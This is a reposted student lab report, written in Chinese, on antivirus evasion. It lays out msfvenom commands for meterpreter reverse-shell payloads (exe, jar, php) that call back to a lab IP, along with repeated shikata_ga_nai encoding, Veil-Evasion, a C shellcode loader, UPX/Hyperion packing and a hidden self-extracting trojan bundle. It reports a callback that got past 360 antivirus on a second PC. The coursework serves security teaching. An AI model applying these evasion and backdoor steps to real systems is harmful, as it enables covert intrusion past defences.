2018-2019 Exp3 免杀原理与实践

2018-2019 Exp3 免杀原理与实践

目录

一、实验内容说明及基础问题回答

二、实验过程

三、问题与思考



一、实验内容说明及基础问题回答

1、实验内容
(1)正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧;(1.5分)

(2)通过组合应用各种技术实现恶意代码免杀(1分)(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)

(3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(1分)

2、基础问题回答
(1)杀软是如何检测出恶意代码的?

  • 基于特征码的检测
    • 简单来说一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。
    • AV软件厂商要做的就是尽量搜集最全的、最新的特征码库。所以杀毒软件的更新很重要。过时的特征码库就是没有用的库。
    • 重要的就是,恶意软件的检测,并不是比对整个文件,而只能只其中一个或几个片断作为识别依据。
    • 优点:检测效率高、能精确检测恶意软件类型和具体名称。
    • 缺点:滞后性,不能检测不在特征库和变形的恶意软件,需频繁更新特征库。
  • 启发式恶意软件检测
    • 根据些片面特征去推断。通常是因为缺乏精确判定依据。
    • 优点:可以检测0-day恶意软件;具有一定通用性
    • 缺点:实时监控系统行为,开销稍多;没有基于特征码的精确度高
  • 基于行为的恶意软件检测
    • 基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。
    • 优点:可发现未知病毒、可相当准确地预报未知的多数病毒。
    • 缺点:可能误报、不能识别病毒名称、实现时有一定难度。

(2)免杀是做什么?

  • 一般是对恶意软件做处理,让它不被杀毒软件所检测。也是渗透测试中需要使用到的技术。

(3)免杀的基本方法有哪些?

  • 变形特征码:
    • 只有EXE:
    • 加壳:压缩壳 加密壳
    • 有shellcode:encode编码、payload重新编译
    • 有源代码:翻译成其他语言
  • 改变通讯方式
    • 尽量使用反弹式连接
    • 使用隧道技术
    • 加密通讯数据
    • 改变操作模式
    • 基于内存操作
    • 减少对系统的修改
    • 加入混淆作用的正常功能代码
  • 非常规免杀方法:使用社工类攻击、纯手工打造一个恶意软件等等。
    返回目录


二、实验过程

Task1 1.使用msf编码器生成后门程序及检测
1、在《Exp2:后门原理与实践》博客中,我们生成了一个后门文件。

1047870-20190326162046514-443427924.png

  • 将其放在virscan.org中进行扫描,结果如下图所示:

1047870-20190326162313543-309732955.png

2、尝试用msf编码器对后门程序进行一次到多次的编码

  • 一次编码:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.116.128 LPORT=5226 -f exe > met-encoded.exe其中-e 为编码
  • 十次编码:msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.116.128 LPORT=5226 -f exe > met-encoded10.exe其中-i为指定编码个数

1047870-20190326164352541-1336450487.png

  • 编码十次后产生可执行文件

1047870-20190326164504011-1421498040.png

  • 将编码十次的可执行文件进行扫描,结果如下:
    1047870-20190326165413599-1441717919.png

Task1 2.msfvenom生成jar等文件

  • 生成Java后门程序使用命令:msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.116.128 lport=5226 x> 20165226_backdoor_java.jar

1047870-20190327101424768-913912484.png

  • msfvenom生成php文件:msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.116.128 lport=5226 x> 20165226_backdoor.php

1047870-20190327101519747-1309820541.png

Task1 3.veil-evasion

  • Veil-Evasion安装。Veil-Evasion是一个与Metasploit有点类似的软件,已经在kali虚拟机里,如果没有可以进行在线安装:sudo apt-get install veil-evasion 注意此处请下载veil-evasion,不然之后会有各种bug,想感受一下错误具体内容的同学可以直接veil,当然如果没报错那更好
    • 一路点击nexxt,把需要多选的全选上
    • 最后会显示Done!,则安装成功
  • 输入veil启用veil

1047870-20190327105106212-347310773.png

  • 接着输入use evasion进入veil-evasion

1047870-20190327105807220-721763886.png

  • 用C语言重写meterperteruse c/meterpreter/rev_tcp.py
    1047870-20190327105904318-1223467870.png

  • 设置反弹连接IP及端口,注意此处IP是kaliIP

  • 输入generate生成文件

1047870-20190327110009182-1408415757.png

  • 输入playload文件名字

1047870-20190327110046518-1374641650.png

  • /var/lib/veil/output/compiled/playload5226.exe这个路径下找我们生成的exe文件,或者直接cp -r /var/lib/veil/output/compiled/playload5226.exe ~/20165226/exp3把生成的文件复制到我们熟悉的路径下。

  • 传回主机时被截获

1047870-20190327110520401-906861472.png

  • 使用virscan对文件进行扫描
    1047870-20190327110632693-1564155243.png

Task1 4.用shellcode编程

  • msfvenom生成shellcode:msfvenom -p windows/meterpreter/reverse_http lhost=192.168.116.128 lport=5226 -f c

1047870-20190327101719296-786916245.png

  • 创建一个文件20165226.c,然后将unsigned char buf[]赋值到其中
unsigned char buf[] = 
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
。。。。。。
"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";

int main()
{
    int (*func)() = (int(*)())buf;
    func();
}
  • 使用命令i686-w64-mingw32-g++ 20165226.c -o 20165226.exe编译.c文件为可执行文件

1047870-20190327183508834-1792743212.png

  • 将文件进行virscan

1047870-20190327114700982-2047918729.png

  • 将之前的半手工打造的shellcode复制命名为lxs.exe,进行加壳upx lxs.exe -o lxs_upxed.exe

1047870-20190327183724245-256649797.png

  • 扫描结果为16/49

1047870-20190327185930904-1592542533.png

  • 再进行加密壳Hyperion
    • 将上一个生成的文件拷贝到/usr/share/windows-binaries/hyperion/目录中
    • 进入目录/usr/share/windows-binaries/hyperion/
    • 输入wine hyperion.exe -v lxs_upxed.exe lxs_upxed_Hyperion.exe
      1047870-20190328200509770-1767865200.png

Task 2 通过组合应用各种技术实现恶意代码免杀

  • 通过shellcode+UPX加壳实现免杀

1047870-20190327185045310-861170608.png

  • 尝试自解压捆绑木马
    • 将要捆绑的文件放在同一个文件夹下,右击选择“添加到压缩文件”
      1047870-20190327192630356-705463096.png

    • 设置压缩参数。起一个名字(如:网络对抗),并在压缩选项中勾选上“创建自解压格式压缩文件”复选框
    • 切换至“高级”选项卡,点击“自解压选项”,选中“模式”中的“全部隐藏”并确定
    • 再打开“文本和图标”选项卡,填写“自解压文件窗口标题”和“自解压文件窗口中显示的文本”,并找一个图标作为这个自解压文件的图标
    • 放到virscan.org试一下,由32%降为30%,其实并没有太大改善
      1047870-20190327194052607-673775143.png

Task 3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

  • 采用360(11.5.0.2001)
  • 用电脑测试回连成功(访问对方电脑:c盘下的锦年)

1047870-20190328220519444-718847042.png

返回目录



四、问题与思考
  • 问题1:在用msf编辑器对后门程序进行过多次编码时出现错误
    1047870-20190326163602083-800530783.png

  • 问题1解决方案:由图可知,编译产生了0x20,当出现0时表示截止,可能是编译次数太多,因此将26次改成10次,再运行,编译成功
    1047870-20190326164341343-1293583080.png

  • 问题2:输入sudo ./setup.sh -c后,显示如下后编不再有任何操作更新,20分钟后仍无
    1047870-20190327102100245-1091866256.png

  • 问题2解决方案:之前是git clone的veil,然后我直接通过命令行sudo apt-get install veil-evasion在线下载,用了近一个半小时但下载后原虚拟机自动重启,然后一直黑屏,再次重启也无法打开,于是重新拷了一台虚拟机,再次重复操作。

  • 问题3:下载后进行安装时,一路next后,最后报错
    1047870-20190327102317408-684761015.png

  • 问题3解决方案:输入/ust/share/veil/config/setup.sh再次进入安装

  • 问题4:重新安装后出现could not load wine-gecko的错误
    1047870-20190327102523481-1086124034.png

  • 问题4解决方案:通过查找资料,解决方案如下
    1047870-20190327102714172-1743318586.png
    输入以下代码

$ mkdir -p ~/.cache/wine 
$ cd ~/.cache/wine 
$ wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi
$ wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi

然后返回主目录,再次输入/usr/share/veil/config/setup.sh进行安装,成功

  • 问题5:kali中无法进行内容及文件的复制粘贴,重新安装了vmtools仍不能拖拽(复制粘贴)文件
  • 问题5解决方案:通过查找资料,使用以下方法
    • 输入apt-get install open-vm-tools-desktop fuse安装open-vm-tools
    • 输入vi /etc/apt/sources.list,打开后把deb http://mirrors.tuna.tsinghua.edu.cn/kali/ kali-rolling contrib main non-free(清华的源)加进去,再将kali的源注释掉(首行加#
    • 更新系统和软件:apt-get update && apt-get upgrade
    • 安装vmtools:apt-get install open-vm-tools-desktop fuse
    • 重启(reboot)
  • 问题6:扫描文件时出现以下问题

1047870-20190327113715887-739560175.png

  • 问题6解决方案:按要求将名字更改为lxs.exe即可

返回目录



转载于:https://www.cnblogs.com/musea/p/10609707.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值